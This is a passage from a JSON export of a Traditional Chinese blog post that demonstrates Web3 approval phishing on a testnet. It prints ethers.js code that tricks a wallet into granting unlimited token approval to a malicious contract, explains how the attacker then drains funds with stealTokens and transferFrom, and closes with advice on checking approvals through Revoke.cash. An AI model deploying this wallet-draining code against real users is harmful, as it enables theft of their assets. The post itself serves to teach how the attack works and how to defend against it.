\u7684\u300c\u9023\u63a5\u5230\u7db2\u7ad9\u300d\u63d0\u793a\u3002<\/li>\n\n\n\n<li><strong><code>ethers.BrowserProvider<\/code><\/strong>\uff1a\u5275\u5efa\u4e00\u500b Ethers.js \u63d0\u4f9b\u8005\uff0c\u9023\u63a5\u5230 MetaMask \u7684\u4ee5\u592a\u574a\u7bc0\u9ede\u3002<\/li>\n\n\n\n<li><strong><code>provider.getSigner<\/code><\/strong>\uff1a\u7372\u53d6\u7528\u6236\u7684\u7c3d\u540d\u8005\u5c0d\u8c61\uff0c\u7528\u65bc\u7c3d\u7f72\u4ea4\u6613\uff08\u4f8b\u5982 <code>approve<\/code>\uff09\u3002<\/li>\n\n\n\n<li><strong>\u932f\u8aa4\u8655\u7406<\/strong>\uff1a\u5982\u679c\u672a\u5b89\u88dd MetaMask \u6216\u7528\u6236\u62d2\u7d55\u9023\u63a5\uff0c\u986f\u793a\u932f\u8aa4\u8a0a\u606f\u4e26\u8fd4\u56de <code>null<\/code>\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u6a21\u64ec\u91e3\u9b5a\u653b\u64ca<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>async function executePhishingAttack() {\n    const web3 = await setupWeb3();\n    if (!web3) return;\n\n    try {\n        const { signer } = web3;\n        const musdtContract = new ethers.Contract(MUSDT_CONTRACT_ADDRESS, musdtABI, signer);\n        const amountToApprove = ethers.MaxUint256;\n\n        console.log(\"Requesting approval... Please confirm in your wallet!\");\n        const approveTx = await musdtContract.approve(PHISHING_CONTRACT_ADDRESS, amountToApprove);\n\n        console.log(\"Approval transaction sent, awaiting confirmation...\");\n        await approveTx.wait();\n        console.log(\"Approval successful!\");\n\n        console.log(\"Approval successful! The attacker can now transfer your assets from the backend.\");\n    } catch (error) {\n        console.error(\"An error occurred\", error);\n        alert(\"Phishing operation failed. Please check the console.\");\n    }\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>executePhishingAttack<\/code><\/strong>\uff1a\u6a21\u64ec\u91e3\u9b5a\u7db2\u7ad9\u7684\u6838\u5fc3\u908f\u8f2f\uff0c\u8a98\u9a19\u7528\u6236\u6388\u6b0a\u4ee3\u5e63\u3002<\/li>\n\n\n\n<li><strong><code>new ethers.Contract<\/code><\/strong>\uff1a\u5275\u5efa\u4e00\u500b\u6307\u5411 <code>mUSDT<\/code> \u4ee3\u5e63\u5408\u7d04\u7684\u5c0d\u8c61\uff0c\u4f7f\u7528\u6307\u5b9a\u7684\u5730\u5740\u548c ABI\uff0c\u4e26\u7d81\u5b9a\u7528\u6236\u7684\u7c3d\u540d\u8005\uff08<code>signer<\/code>\uff09\u3002<\/li>\n\n\n\n<li><strong><code>ethers.MaxUint256<\/code><\/strong>\uff1a\u8a2d\u7f6e\u6388\u6b0a\u6578\u91cf\u70ba\u6700\u5927\u503c\uff08<code>2^256-1<\/code>\uff09\uff0c\u9019\u662f\u91e3\u9b5a\u653b\u64ca\u7684\u5e38\u898b\u624b\u6cd5\uff0c\u5141\u8a31\u653b\u64ca\u8005\u8f49\u8d70\u7528\u6236\u5e33\u6236\u4e2d\u7684\u6240\u6709\u4ee3\u5e63\u3002<\/li>\n\n\n\n<li><strong><code>musdtContract.approve<\/code><\/strong>\uff1a\u8abf\u7528 <code>mUSDT<\/code> \u5408\u7d04\u7684 <code>approve<\/code> \u51fd\u6578\uff0c\u6388\u6b0a <code>Phishing<\/code> \u5408\u7d04\uff08<code>PHISHING_CONTRACT_ADDRESS<\/code>\uff09\u53ef\u4ee5\u8f49\u79fb\u7528\u6236\u7684\u4ee3\u5e63\u3002\u9019\u6703\u89f8\u767c MetaMask \u5f48\u51fa\u4ea4\u6613\u78ba\u8a8d\u7a97\u53e3\u3002<\/li>\n\n\n\n<li><strong><code>approveTx.wait<\/code><\/strong>\uff1a\u7b49\u5f85\u4ea4\u6613\u5728\u5340\u584a\u93c8\u4e0a\u78ba\u8a8d\uff0c\u78ba\u4fdd\u6388\u6b0a\u6210\u529f\u3002<\/li>\n\n\n\n<li><strong>\u65e5\u8a8c\u8207\u932f\u8aa4\u8655\u7406<\/strong>\uff1a\u5728\u63a7\u5236\u53f0\u8f38\u51fa\u64cd\u4f5c\u9032\u5ea6\uff08\u5982\u300c\u6b63\u5728\u8acb\u6c42\u6388\u6b0a\u2026\u300d\uff09\uff0c\u4e26\u5728\u5931\u6557\u6642\u986f\u793a\u932f\u8aa4\u8a0a\u606f\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u6309\u9215\u4e8b\u4ef6\u7d81\u5b9a<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>document.getElementById('phishingButton').addEventListener('click', executePhishingAttack);<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c07 <code>executePhishingAttack<\/code> \u51fd\u6578\u7d81\u5b9a\u5230\u6309\u9215\uff08<code>id=\"phishingButton\"<\/code>\uff09\u7684\u9ede\u64ca\u4e8b\u4ef6\u3002\u7576\u7528\u6236\u9ede\u64ca\u300c\u555f\u52d5\u91e3\u9b5a\u653b\u64ca (DEMO)\u300d\u6309\u9215\u6642\uff0c\u89f8\u767c\u91e3\u9b5a\u908f\u8f2f\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u53d6\u5f97\u53d7\u5bb3\u8005\u6388\u6b0a<\/h2>\n\n\n\n<p>\u7576\u4f7f\u7528\u8005\u8a2a\u554f\u91e3\u9b5a\u524d\u7aefhtml\u4e26\u6309\u4e0b\u555f\u52d5\u91e3\u9b5a\u653b\u64ca \uff0c\u9322\u5305\u5c31\u6703\u51fa\u73fe\u8a0a\u606f\u8981\u6c42\u4f60\u540c\u610f\uff0c\u4e00\u4f46\u540c\u610f\u5f8c\uff0c\u524d\u7aef JavaScript\u6703\u5f97\u5230\u53d7\u5bb3\u8005\u7684\u6388\u6b0a (Approval)\uff0c\u60e1\u610f\u5408\u7d04\u5c31\u53ef\u4ee5\u64cd\u63a7\u4f7f\u7528\u8005\u7684\u9322\u5305\uff0c\u904e\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u524d\u7aef\u7a0b\u5f0f\u78bc\u6703\u5f15\u5c0e\u53d7\u5bb3\u8005\u767c\u9001\u4e00\u7b46 <code>approve<\/code> \u4ea4\u6613\u3002<\/li>\n\n\n\n<li>\u9019\u7b46\u4ea4\u6613\u7684\u76ee\u7684\u662f\u8b93\u53d7\u5bb3\u8005\u7684\u9322\u5305\u6388\u6b0a\u7d66\u60e1\u610f\u5408\u7d04\uff08<code>Phishing<\/code>\uff09\uff0c\u5141\u8a31\u5b83\u8f49\u8d70\u53d7\u5bb3\u8005\u9322\u5305\u88e1\u7684 USDT \u4ee3\u5e63\u3002<\/li>\n\n\n\n<li>\u9019\u500b\u6388\u6b0a\u52d5\u4f5c\u662f\u6574\u500b\u6d41\u7a0b\u4e2d\u552f\u4e00\u9700\u8981\u53d7\u5bb3\u8005\u89aa\u81ea\u7c3d\u540d\u4e26\u78ba\u8a8d\u7684\u6b65\u9a5f\u3002<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6388\u6b0a<\/h3>\n\n\n\n<p>\u53d7\u5bb3\u8005\u6388\u6b0a\u7d66\u60e1\u610f\u5408\u7d04\uff0c\u9019\u5c31\u662f\u6574\u500b\u91e3\u9b5a\u653b\u64ca\u4e2d\u6700\u95dc\u9375\u3001\u4e5f\u6700\u81f4\u547d\u7684\u4e00\u6b65\u3002<\/p>\n\n\n\n<p>\u6388\u6b0a\uff08<code>approve<\/code>\uff09\u9019\u500b\u52d5\u4f5c\uff0c\u5c31\u50cf\u662f\u53d7\u5bb3\u8005\u89aa\u624b\u4ea4\u51fa\u4e86\u4e00\u628a<strong>\u91d1\u5eab\u9470\u5319<\/strong>\u7d66\u653b\u64ca\u8005\u3002\u53ea\u8981\u9019\u628a\u9470\u5319\u4ea4\u51fa\u53bb\u4e86\uff0c\u653b\u64ca\u8005\u5c31\u53ef\u4ee5\u5728\u4efb\u4f55\u6642\u5019\uff0c\u96a8\u5fc3\u6240\u6b32\u5730\u5f9e\u91d1\u5eab\u88e1\u62ff\u8d70\u8cc7\u7522\u3002<\/p>\n\n\n\n<p>\u5f9e\u9019\u500b\u89d2\u5ea6\u4f86\u770b\uff0c\u91e3\u9b5a\u653b\u64ca\u4e26\u4e0d\u662f\u5728\u300c\u7834\u89e3\u300d\u5340\u584a\u93c8\u7684\u6280\u8853\uff0c\u800c\u662f\u5728\u5229\u7528\u5340\u584a\u93c8\u7684\u6b63\u898f\u529f\u80fd\u3002\u653b\u64ca\u8005\u4e26\u4e0d\u662f\u5728\u99ed\u5ba2\u5165\u4fb5\u4f60\u7684\u9322\u5305\uff0c\u4ed6\u5011\u53ea\u662f\u5728\u8a98\u9a19\u4f60\uff0c\u8b93\u4f60\u81ea\u9858\u5730\u7d66\u4e88\u4ed6\u5011\u8f49\u8d70\u4f60\u8cc7\u7522\u7684\u6b0a\u5229\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6388\u6b0a\u7684\u6709\u6548\u6027\u53d6\u6c7a\u65bc\u4f60\u6388\u6b0a\u6642\u7d66\u4e88\u7684\u91d1\u984d <\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u55ae\u6b21\u6388\u6b0a<\/strong>\uff1a\u5982\u679c\u4f60\u6388\u6b0a\u7684\u91d1\u984d\u662f <code>1000<\/code> \u500b mUSDT\uff0c\u90a3\u9ebc\u60e1\u610f\u5408\u7d04\uff08\u6216\u4efb\u4f55\u7372\u5f97\u6388\u6b0a\u7684\u5730\u5740\uff09\u6700\u591a\u53ea\u80fd\u5f9e\u4f60\u9322\u5305\u8f49\u8d70 <code>1000<\/code> \u500b mUSDT\u3002\u7576\u9019 1000 \u500b\u4ee3\u5e63\u88ab\u8f49\u8d70\u5f8c\uff0c\u6388\u6b0a\u984d\u5ea6\u5c31\u6703\u7528\u5b8c\uff0c\u9664\u975e\u4f60\u518d\u6b21\u6388\u6b0a\uff0c\u5426\u5247\u653b\u64ca\u8005\u7121\u6cd5\u8f49\u8d70\u66f4\u591a\u3002<\/li>\n\n\n\n<li><strong>\u7121\u9650\u6388\u6b0a<\/strong>\uff1a\u9019\u5c31\u662f\u70ba\u4ec0\u9ebc\u91e3\u9b5a\u653b\u64ca\u8005\u901a\u5e38\u6703\u4f7f\u7528\u4e00\u500b\u6975\u5927\u7684\u6578\u5b57\u4f86\u8acb\u6c42\u6388\u6b0a\uff0c\u4f8b\u5982\u6211\u5011\u5728\u7bc4\u4f8b\u4e2d\u4f7f\u7528\u7684 <code>ethers.constants.MaxUint256<\/code>\u3002\u9019\u500b\u6578\u5b57\u4ee3\u8868 <code>2^256-1<\/code>\uff0c\u662f <code>uint256<\/code> \u6578\u64da\u985e\u578b\u7684\u6700\u5927\u503c\u3002\u5728\u5be6\u969b\u64cd\u4f5c\u4e2d\uff0c\u9019\u76f8\u7576\u65bc\u7d66\u4e88<strong>\u7121\u9650\u7684\u6388\u6b0a<\/strong>\u3002\u4e00\u65e6\u4f60\u7c3d\u7f72\u4e86\u9019\u7b46\u4ea4\u6613\uff0c\u60e1\u610f\u5408\u7d04\u5c31\u53ef\u4ee5\u5728\u4efb\u4f55\u6642\u5019\u3001\u7121\u9650\u6b21\u5730\u5f9e\u4f60\u9322\u5305\u4e2d\u8f49\u8d70\u8a72\u4ee3\u5e63\uff0c\u76f4\u5230\u4f60\u7684\u9322\u5305\u9918\u984d\u6b78\u96f6\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u8005\u6536\u5272<\/h2>\n\n\n\n<p>\u653b\u64ca\u8005\u8981\u81ea\u5df1\u547c\u53eb\u653b\u64ca\u5408\u7d04\u88e1\u7684 <code>stealTokens<\/code><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9019\u662f\u6d41\u7a0b\u4e2d\u6700\u95dc\u9375\u7684\u74b0\u7bc0\u3002\u5728\u73fe\u5be6\u4e16\u754c\u4e2d\uff0c\u9019\u500b\u52d5\u4f5c\u7531\u653b\u64ca\u8005\u7684\u5f8c\u53f0\u4f3a\u670d\u5668\u6216\u8173\u672c\u81ea\u52d5\u5b8c\u6210\u3002<\/li>\n\n\n\n<li>\u653b\u64ca\u8005\u6703\u4f7f\u7528\u81ea\u5df1\u7684\u9322\u5305\u4f86\u767c\u8d77\u9019\u7b46\u4ea4\u6613\uff0c\u547c\u53eb <code>stealTokens<\/code> \u51fd\u6578\u3002<\/li>\n\n\n\n<li>\u653b\u64ca\u5408\u7d04\u4e2d\u7684 <code>require(msg.sender == owner, ...)<\/code> \u6aa2\u67e5\u7684\u5c31\u662f\u9019\u500b\u6b65\u9a5f\uff1a\u5b83\u78ba\u4fdd\u53ea\u6709\u5408\u7d04\u7684\u90e8\u7f72\u8005\uff08\u4e5f\u5c31\u662f\u653b\u64ca\u8005 \uff09\u624d\u80fd\u57f7\u884c\u9019\u500b\u5f8c\u9580\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u6307\u5b9a\u4ee3\u5e63\u91d1\u984d\u8207\u53d7\u5bb3\u8005\u5730\u5740<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u547c\u53eb <code>stealTokens<\/code> \u6642\uff0c\u653b\u64ca\u8005\u6703\u50b3\u5165\u5169\u500b\u53c3\u6578\uff1a\u53d7\u5bb3\u8005\u7684\u5730\u5740 (<code>victim<\/code>) \u548c\u4ed6\u5011\u60f3\u8981\u7aca\u53d6\u7684\u91d1\u984d (<code>amount<\/code>)\u3002<\/li>\n\n\n\n<li>\u9019\u500b\u91d1\u984d\u4e0d\u80fd\u8d85\u904e\u53d7\u5bb3\u8005\u7d66\u4e88\u7684\u6388\u6b0a\u984d\u5ea6\u3002\u7531\u65bc\u4f60\u7684\u524d\u7aef\u7a0b\u5f0f\u78bc\u4f7f\u7528\u4e86 <code>ethers.MaxUint256<\/code> \u9032\u884c\u7121\u9650\u6388\u6b0a\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u4e00\u6b21\u8f49\u8d70\u6240\u6709\u4ee3\u5e63\u3002<\/li>\n\n\n\n<li>\u7531\u65bc\u4ee3\u5e63\u7684\u667a\u80fd\u5408\u7d04\u8a2d\u5b9a18\u4f4d\u6578\uff0c\u6240\u4ee5\u5982\u679c\u60f3\u8f49\u79fb100\u5143\uff0c\u8981\u5728<code>amount<\/code>\u5f8c\u5728\u88dc18\u500b0\uff0c \u4f8b\u5982100<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">000000000000000000<\/mark><\/li>\n<\/ul>\n\n\n\n<p>\u653b\u64ca\u5408\u7d04\u5c31\u6703\u5f9e\u53d7\u5bb3\u8005\u7684\u9322\u5305\u62ff\u5230\u4ee3\u5e63<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9019\u662f\u6d41\u7a0b\u7684\u6700\u5f8c\u4e00\u6b65\u3002\u60e1\u610f\u5408\u7d04\u5728\u6210\u529f\u57f7\u884c <code>stealTokens<\/code> \u51fd\u6578\u5f8c\uff0c\u6703\u8abf\u7528 ERC-20 \u4ee3\u5e63\u7684 <code>transferFrom<\/code> \u51fd\u6578\u3002<\/li>\n\n\n\n<li><code>transferFrom<\/code> \u7684\u529f\u80fd\u5c31\u662f\uff1a\u5f9e\u300c\u88ab\u6388\u6b0a\u8005\u300d\u7684\u9322\u5305\u4e2d\uff0c\u8f49\u8d70\u300c\u6388\u6b0a\u8005\u300d\u7684\u4ee3\u5e63\u3002<\/li>\n\n\n\n<li>\u7531\u65bc\u60e1\u610f\u5408\u7d04\u5df2\u7d93\u5728\u525b\u525b\u7372\u5f97\u4e86\u6388\u6b0a\uff0c\u5b83\u73fe\u5728\u6709\u6b0a\u5229\u5f9e\u53d7\u5bb3\u8005\u7684\u9322\u5305\u4e2d\uff0c\u5c07\u4ee3\u5e63\u8f49\u79fb\u5230\u653b\u64ca\u8005\u7684\u9322\u5305\u4e2d\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u67e5\u8a62\u6388\u6b0a\u7684\u65b9\u6cd5<\/h2>\n\n\n\n<p>\u8981\u6aa2\u67e5\u4f60\u7684\u9322\u5305\u5e33\u865f\u5c0d\u54ea\u4e9b\u5408\u7d04\u6709\u6388\u6b0a\uff0c\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e9b\u5c08\u9580\u7684\u5340\u584a\u93c8\u5de5\u5177\uff0c\u5b83\u5011\u80fd\u6e05\u6670\u5730\u986f\u793a\u4f60\u7684\u6388\u6b0a\u72c0\u6cc1\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><a href=\"https:\/\/revoke.cash\/\" target=\"_blank\" rel=\"noreferrer noopener\">Revoke.cash<\/a><\/strong>\uff1a\u9019\u662f\u4e00\u500b\u5c08\u9580\u7528\u65bc\u6aa2\u67e5\u548c\u64a4\u92b7\u6388\u6b0a\u7684\u77e5\u540d\u5de5\u5177\u3002\u4f60\u53ea\u9700\u8981\u9023\u63a5\u4f60\u7684\u9322\u5305\uff0c\u5b83\u5c31\u6703\u81ea\u52d5\u6383\u63cf\u4f60\u5c0d\u6240\u6709\u4ee3\u5e63\u7684\u6388\u6b0a\uff0c\u4e26\u5217\u51fa\u8a73\u7d30\u6e05\u55ae\u3002<\/li>\n\n\n\n<li><strong><a href=\"https:\/\/debank.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">DeBank<\/a><\/strong>\uff1aDeBank \u662f\u4e00\u500b DeFi \u8cc7\u7522\u7ba1\u7406\u5e73\u53f0\uff0c\u5b83\u4e5f\u5167\u5efa\u4e86\u6388\u6b0a\u6aa2\u67e5\u529f\u80fd\u3002\u5b83\u6703\u5c07\u4f60\u7684\u8cc7\u7522\u548c\u6388\u6b0a\u72c0\u6cc1\u4e00\u4f75\u5448\u73fe\u3002<\/li>\n<\/ul>\n\n\n\n<p>Revoke.cash\u7bc4\u4f8b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9322\u5305\u5730\u5740\uff1a<a href=\"https:\/\/revoke.cash\/zh\/address\/0xc697F3ddC8157Fe176e6c7FC8AEf1ad43EC465ee?chainId=11155111\" target=\"_blank\" rel=\"noopener\">0xc697F3ddC8157Fe176e6c7FC8AEf1ad43EC465ee<\/a><\/li>\n\n\n\n<li>\u5340\u584a\u93c8\uff1aSepolia \u6e2c\u8a66\u7db2\u4ee3\u865f 11155111<\/li>\n\n\n\n<li>\u67e5\u8a62\u7db2\u5740\uff1a<a href=\"https:\/\/revoke.cash\/zh\/address\/0xc697F3ddC8157Fe176e6c7FC8AEf1ad43EC465ee?chainId=11155111\" target=\"_blank\" rel=\"noopener\">https:\/\/revoke.cash\/zh\/address\/0xc697F3ddC8157Fe176e6c7FC8AEf1ad43EC465ee?chainId=11155111<\/a><\/li>\n<\/ul>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Web3 \u91e3\u9b5a\u653b\u64ca\u662f\u4e00\u7a2e\u91dd\u5c0d\u5340\u584a\u93c8\u7528\u6236\u7684\u8a50\u9a19\u884c\u70ba\uff0c\u65e8\u5728\u8a98\u9a19\u7528\u6236\u6388\u6b0a\u6216\u8f49\u79fb\u4ed6\u5011\u7684\u52a0\u5bc6\u8cc7\u7522\uff08\u5982\u4ee3\u5e63\u3001NFT\uff09\u7d66\u653b\u64ca\u8005\u3002\u8207\u50b3\u7d71\u7db2\u7d61\u91e3\u9b5a\uff08\u5982\u5047\u5192\u9280\u884c\u7db2\u7ad9\u7aca\u53d6\u5bc6\u78bc\uff09\u985e\u4f3c\uff0cWeb3 \u91e3\u9b5a\u5229\u7528\u7528\u6236\u7684\u4fe1\u4efb\u6216\u758f\u5ffd\uff0c\u4f46\u76ee\u6a19\u662f\u5340\u584a\u93c8\u9322\u5305\u548c\u667a\u80fd\u5408\u7d04\u4ea4\u4e92\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"enabled":false},"version":2}},"categories":[371],"tags":[],"class_list":["post-2733","post","type-post","status-publish","format-standard","hentry","category-web3-security"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/2733","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=2733"}],"version-history":[{"count":3,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/2733\/revisions"}],"predecessor-version":[{"id":2915,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/2733\/revisions\/2915"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=2733"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=2733"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=2733"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}